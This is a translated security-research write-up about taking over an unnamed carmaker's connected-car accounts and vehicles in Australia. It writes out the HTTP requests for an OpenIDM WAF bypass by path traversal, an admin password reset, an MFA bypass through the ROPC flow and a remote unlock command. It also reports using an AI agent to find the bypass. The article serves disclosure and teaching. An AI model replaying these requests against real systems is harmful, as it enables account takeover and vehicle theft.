[Перевод] Мы нашли способ взломать любой подключенный автомобиль компании X в крупнейших странах

К автомобилям этого бренда я всегда был неравнодушен. Наша семья уже много лет ездит на их машинах, и все они показали себя с очень хорошей стороны. В 2023 году я купил новый полноприводный паркетник той же компании и впервые получил доступ к их платформе подключенных автомобилей.
У меня уже был опыт работы с другими аналогичными платформами, поэтому я смотрел на их безопасность скептически. Я нутром чуял, что там есть слабые места, но житейские хлопоты не оставляли возможности реально в этом разобраться. И вот в июле мы с Сэмом Карри решили попробовать на прочность систему защиты платформы подключенных автомобилей этого крупного концерна, название которого я по понятным причинам раскрывать не буду.
Когда речь заходит о хакинге авто, то обычно сразу переходят к аппаратной части вопроса. Но мой опыт лежит в плоскости взлома веб-приложений и инфраструктуры. Вне зависимости от конкретных аппаратных деталей, система в любом случае связывается с неким сервисом, который неизбежно должен быть доступен через интернет.
На сей раз весь путь начался с простого вопроса «С какой инфраструктурой связывается приложение, когда я дистанционно разблокирую авто?» Чтобы это выяснить, я скачал APK и декомпилировал его, в конечном итоге воссоздав запросы к API, которые отправляет приложение.
Разбирая код, я заметил, что главной точкой связи выступают ресурсы в поддомене *.redacted-telematics.com.au:
dartExecutor.executeDartEntrypoint(createDefault, CollectionsKt.r(gson.toJson(new Global
ConfigParams(false, g11, com.redacted.app.xcapp.a.f69866f, "X", str)),new Gson().toJson(new
ApiConfig("https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au",
"https://api.redacted-telematics.com.au" ...Почти все части клиентского приложения обращались обратно к redacted-telematics.com.au. Мне стало интересно, что ещё происходит на этом домене?
Админка
Поддержание структуры для подключенных автомобилей — дело непростое. Чтобы конечные пользователи получали чистый продукт, требуется нескольких админок под разные задачи, а также среды для staging, dev и QA. А вот вопрос о том, должно ли всё это торчать в интернет, доступное для любого, кто пожелает провести базовую разведку, уже заслуживает отдельного внимания.
Один из ресурсов показался мне особенно интересным. Поддомен admintool.redacted-telematics.com.au возвращал страницу с заголовком TEST HARNESS. Ну разве можно пройти мимо поддомена с admintool в адресе?
Перейдя на него, я попал на примитивный экран авторизации в серых тонах. Качеством проработки он не выделялся, особенно с учётом того, что опция выхода отображалась на нём ещё до входа.
Мне очень нравится, что большинство одностраничников выгружают весь свой JS-бандл, даже когда достаточно просто отрендерить страницу авторизации. Естественно, некоторые более современные фреймворки умеют дробить JS-файлы и отдавать только то, что необходимо в текущий момент, но в этом случае мы смогли спокойно прошерстить весь огромный бандл и разобраться, какие конкретно возможности даёт эта админка.

Как выяснилось, в этой админке можно делать очень многое. В ней есть обширный API, который позволяет сотрудникам концерна работать с аккаунтами клиентов и реальными автомобилями при минимуме ограничений. Воспроизведя запросы, мы обнаружили, что для многих из этих API никакой аутентификации не требовалось — достаточно было жёстко прописанных ключей, лежавших в самом бандле.
Например, мы смогли находить аккаунты пользователей по адресам e-mail:

Но этого было мало. Если мы хотим разблокировать любую машину этого производителя на основе только её номерного знака, то нам потребуется нечто большее.
В Австралии через государственные сайты проверки регистрации по номерам можно легко узнать VIN.
Но это нельзя назвать реальной брешью безопасности. Есть множество законных причин для запроса VIN — например, для проверки истории ремонтов и страхования перед покупкой подержанного авто. Если же нам удастся через VIN добраться до подписчика или его почты, то мы завершим цепочку.
И к нашему везению, там как раз нашёлся нужный API:

Зная GUID подписчика, через эндпоинт /v1/account можно было вытянуть все детали аккаунта, включая e-mail пользователя:

Итак, первый этап цепочки атаки готов: госномер -> VIN -> GUID подписчика -> персональные данные пользователя (e-mail), зарегистрированного на платформе идентификации (ForgeRock OpenIDM).
Хорошо, теперь нужно найти способ отправлять команды на любой авто. Может, получится прямо из этой же админки? К сожалению, нет. Через неё можно было активировать функции в автомобиле, добавить себя в аккаунт в качестве второго пользователя и даже генерировать коды удалённого доступа. Но при всём этом богатстве функций ни одна из них не давала прямого дистанционного управления.
Платформа идентификации
После этого мы с Сэмом две недели разбирались во внутреннем устройстве центральной системы идентификации компании: какой софт используется, как отправляются команды, и как клиенты аутентифицируются.
Когда пользователь проходит аутентификацию в мобильном приложении, запросы отправляются к login.redacted-identity.com.au, и после прохождения MFA ему выдаётся токен авторизации. Впоследствии этот токен используется для последующих запросов к api.redacted-telematics.com.au (как через REST API, так и через GraphQL). Как только вы получили этот токен, дело в шляпе — вы имеете полный контроль над машиной (можете удалённо разблокировать/блокировать её, сигналить, запускать двигатель и так далее).
Так что, если бы мы могли выпускать токен для любого пользователя, то потенциально получили бы контроль над любым подключенным авто. Что нам и было нужно.
Этот концерн активно использует ПО идентификации от ForgeRock (OpenAM/OpenIDM). На нём держится вся их система аутентификации. Подтянув поддомены для *.redacted-identity.com.au, мы быстро нашли их экземпляр OpenIDM на openidm.redacted-identity.com.au. Именно эта система управляет всеми учётками, зарегистрированными на платформе подключенных автомобилей.
И пазл окончательно сложился, когда мы прочёсывали JS-файлы на поддоменах *.redacted-telematics.com.au. Там мы наткнулись на совершенно дикий сторонний JS-бандл, в котором лежали учётные данные админа для OpenIDM 😱:

И хотя эти данные предназначались для среды стейджинга, с учётом той гигиены безопасности, которую мы видели до этого, они наверняка подойдут и для продакшена.
Борьба с WAF
При более внимательном изучении OpenIDM мы так и не смогли понять, знал ли производитель о том, насколько хрупкая у него система. Но одно было очевидно: они хорошенько вложились в правила WAF (Web Application Firewall) для защиты доступа к чувствительным API, которые ForgeRock обычно позволяет вызывать через /openidm/*.

Даже через реальный IP-адрес сервера любое обращение к /openidm/ тут же приводило к блокировке со стороны Nginx WAF. Кто-то знатно заморочился укреплением этих ресурсов, пусть даже они и оставались доступными извне.
Хорошо, такой подход к защите заслуживает уважения. Но столь сильный упор на WAF обычно говорит о попытке залатать нечто изначально дырявое. Возможно, они понимали, насколько опасно раскрывать этот ресурс, но какой-то бизнес-процесс вынудил его так оставить.
Не припомню, удалось ли правилами WAF хоть раз остановить нас в порыве намерения. В итоге мы несколько дней искали лазейку, используя проверенные трюки с обходом каталога (Path Traversal). Сложно ли, умеючи?
Проверить учётные данные, которые мы нашли в бандле, оказалось нетрудно. В австралийском инстансе OpenIDM несколько путей вроде /XUI/ и /UI/ были внесены в белый список, а символы обхода каталога не блокировались. Так что простая конструкция типа /XUI/..%2fopenidm/endpoint как минимум частично сработала:

Но ведь не может всё быть так просто? Из-за особенностей обработки маршрутизации в OpenIDM обход пути всё равно не позволял нам добраться до эндпоинтов в /openidm/. Всякий раз мы получали ошибку вроде:

В мире OpenIDM для путей, содержащих в себе символы Path Traversal, попросту не было зарегистрировано никаких сервлетов (или ресурсов). Из-за этого система сыпала ошибками, хотя и выписывала нам админский JWT.
Нас это сильно бесило. Какая-то мелкая причуда маршрутизации (наверняка и не заложенная как элемент защиты) мешала развернуть полную цепочку атаки. Несколько дней мы ломали голову и уже подумали, что идея с обходом каталога не сработает. Мы нашли пару других эндпоинтов (например, для загрузки пользовательских файлов), которые выглядели обнадёживающе. Но и здесь столкнулись с проблемой — проверкой пути сервлета — которая никак не позволяла применить их для наших целей.
Всё это заставило нас задуматься: «А зачем вообще понадобилось раскрывать инстансы OpenIDM?» Наверняка же был какой-то весомый повод держать эти ресурсы открытыми для интернета? Тогда мы вернулись к собранным с них JS-бандлам и начали искать в них упоминания запросов к OpenIDM. Затем мы декомпилировали приложение для Android и нашли в нём вот что:

А может, часть эндпоинтов внесена в белый список?
Это явно были эндпоинты ресурса OpenIDM, с которыми связывалось приложение. Так может, к ним можно достучаться в обход WAF?
/openidm/endpoint/aaa-> 403 WAF blocked/openidm/endpoint/pinService-> 404, no WAF block
Интересно!
А какие ещё кастомные эндпоинты тут есть? Погоняв облегчённый вариант брутфорса и опробовав собственные догадки, мы быстро нашли getUser. Затем через подстановку разных параметров мы выяснили, что он принимает mail, guid и phone. Какие же возможности нам это даёт в сочетании с уже имеющимися учётными данными?

В ответе мы получили хэш пароля, хэш PIN-кода, пуш-токены устройств и персональные данные, включая номера телефонов и полные имена. На этом эндпоинте не было никакой защиты WAF, так что обход пути не потребовался — ответил нужный сервлет.
Да, улов оказался хорош. Но пароли были хэшированы с помощью PBKDF2-SHA512, и перспектива гонять ферму для хешкрекинга при разблокировке каждой машины без каких-либо гарантий успеха явно не вдохновляла.
Пришлось снова отступить. Как же нам получить доступ к сервлету /openidm/managed/user с помощью обхода пути так, чтобы OpenIDM этот адрес корректно распознал? Мы взяли исходники OpenIDM максимально близкой версии и скормили их GPT 5.6 Sol Ultra, которая пропотела над ними целые шесть часов.
И агент справился. Мы с Сэмом хоть и потратили немало времени на ручной поиск обхода этой наивной защиты, но перебрали не все возможные комбинации.
Когда мы пробовали /XUI%2f..%2fopenidm/, то получали жёсткую 403 и по своей человеческой природе решили, что так будет с любым префиксом. Агент же выяснил, что /static%2f..%2fopenidm/ вообще не фильтровался WAF, и это дало нам заветный доступ к OpenIDM API без путаницы в сервлетах.
Захват аккаунтов
Имея такой обходной путь, захват учётных записей стал простой задачей. Мы могли прописывать новый пароль для профиля любого пользователя:
PATCH /static%2f..%2fopenidm/managed/user/f7ba554REDACTED HTTP/1.1
Host: openidm.redacted-identity.com.au
X-OpenIDM-Username: idmadmin
X-OpenIDM-Password: REDACTED
X-OpenIDM-NoSession: true
Content-Type: application/json
If-Match: "0000000abc123..."
Cache-Control: no-store
Accept: application/json
[{"operation":"replace","field":"/password","value":"Testing123!"}]На что система отвечала:
HTTP/1.1 200 OK
{“_id”:“f7ba554REDACTED”,“_rev”:“0000000def456…”}Хорошо, теперь мы можем менять пароль любого пользователя. Но как быть с мультифакторной аутентификацией?
Пропуск MFA
В конфигурации австралийской инфраструктуры концерна была ещё одна брешь, позволявшая полностью пропустить этап MFA. Сначала мы запросили токен аутентификации у login.redacted-identity.com.au, используя механизм Resource Owner Password Credentials (ROPC), и сервер вернул нам чистый id_token, который мы уже могли обменять на что-то, пригодное для использования в приложении:
POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/x-www-form-urlencoded
grant_type=password&username=admin@shubs.io&password=Testing123!&client_id=REDACTED_PORTAL
&client_secret=REDACTED
> HTTP/1.1 200 OK
> {
> "access_token": "...",
> "id_token": "eyJ0eXAiOiJKV1Qi...",
> "token_type": "Bearer",
> "expires_in": 3599
> }Далее мы перешли ко второму шагу — запуску по этому токену сессии:
POST /json/realms/REDACTED/authenticate?authIndexType=service&authIndexValue=IDTokenROPC
HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/json
Accept: application/json
Accept-API-Version: resource=2.0, protocol=1.0
idtoken: eyJ0eXAiOiJKV1Qi...
> HTTP/1.1 200 OK
> {
> "tokenId": "AQIC5wM2LY4Sfcy...*",
> "successUrl": "/openam/console",
> "realm": "/REDACTED"
> }И в завершение мы через обмен токенов получили заветный токен доступа для мобильного приложения:
POST /oauth2/realms/root/realms/REDACTED/authorize HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/x-www-form-urlencoded
Accept-API-Version: resource=2.1, protocol=1.0
x-fr-version: 2025.05.05
Authorization: Basic <REDACTED>
iPlanetDirectoryPro: AQIC5wM2LY4Sfcy...*
Cookie: iPlanetDirectoryPro=AQIC5wM2LY4Sfcy...*
client_id=REDACTED_APP&redirect_uri=com.redacted.app:/oauth2Callback&scope=openid%20profile
%20write&response_type=code&state=<state>&code_challenge=<S256_challenge>&code_challenge_met
hod=S256&decision=allow&csrf=AQIC5wM2LY4Sfcy...*
> HTTP/1.1 302 Found
> Location: com.redacted.app:/oauth2Callback?code=<authorization_code>&state=<state>
POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/x-www-form-urlencoded
Accept-API-Version: resource=2.1, protocol=1.0
Authorization: Basic <REDACTED>
grant_type=authorization_code&code=<authorization_code>&redirect_uri=com.redacted.app:/
oauth2Callback&client_id=REDACTED_APP&code_verifier=<pkce_verifier>
> HTTP/1.1 200 OK
> {
> "access_token": "<app_access_token>",
> "refresh_token": "...",
> "token_type": "Bearer",
> "scope": "openid profile write",
> "expires_in": 3599
> }Знаю, схема выглядит очень запутанной, с OAuth иногда до боли сложно работать. Но эти шаги позволили нам обойти MFA для любого пользователя.
Разблокировка авто
В этот момент мы уже чертовски близко подошли к разблокировке любого автомобиля концерна в Австралии. Оставалось только отправить API-запрос на выполнение нужной команды вместе с токеном приложения, который теперь мы могли получить без проблем.
POST /v1/remote/route/command HTTP/1.1
Host: api.redacted-telematics.com.au
Authorization: Bearer <app_access_token>
X-API-KEY: REDACTED
X-GUID: f7ba554REDACTED
X-BRAND: REDACTED
X-APPBRAND: REDACTED
X-CHANNEL: REDACTED
X-LOCALE: en-AU
X-APPVERSION: REDACTED
X-OSNAME: Android
X-OSVERSION: 14
X-DEVICE-TIMEZONE: AEST
X-CORRELATIONID: 6f1a2b3c-4d5e-6f70-8192-a3b4c5d6e7f8
X-GENERATION: REDACTED
VIN: XXXXXXXXXXXXXXXXX
Content-Type: application/json
Accept: application/json
User-Agent: okhttp/4.12.0
{"command": "door-unlock", "autoFixPopup": false, "beepCount": null}И двери магическим образом открылись!
Естественно, всё это мы проделывали на собственных авто или на тех, с которыми нам разрешили поэкспериментировать.
Но давайте на секунду приостановимся и подумаем, чего нам удалось добиться. В конечном итоге мы смогли отправлять команды на любой автомобиль концерна в Австралии — причём на обе выпускаемых им марки — зная только номерной знак. Общая цепочка атаки выглядела так:
Номер авто -> VIN -> GUID подписчика -> учётные данные админки OpenIDM в стороннем JS-бандле -> обход WAF через Path Traversal -> обход MFA через ROPC-флоу -> выпуск токена для клиентского приложения -> вызов API удалённого управления.
В полночь, когда вся цепочка, наконец, была собрана, я снял короткую демонстрацию скрипта в действии. Ролик получился неказистый, но он прекрасно демонстрирует всю магию этого процесса. Как же я тащусь от решения таких сложных вызовов.
Вы можете спросить, мол, Шабс, ты же говорил про взлом любой машины этого производителя в мире, а здесь пример только с Австралией. Как так?
Мы с Сэмом разработали ещё более сложную цепочку, о которой он писал в своём блоге. Для её реализации потребовалось намного больше усилий, чем в случае с Австралией, так как системы OpenIDM для США, Канады и Европы производитель защитил гораздо лучше.
В конечном же итоге, объединив результаты обоих экспериментов, мы смогли отправлять удалённые команды — разблокировать машину, запускать двигатель и не только — на любой авто этого концерна в Австралии, США и Канаде.
KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.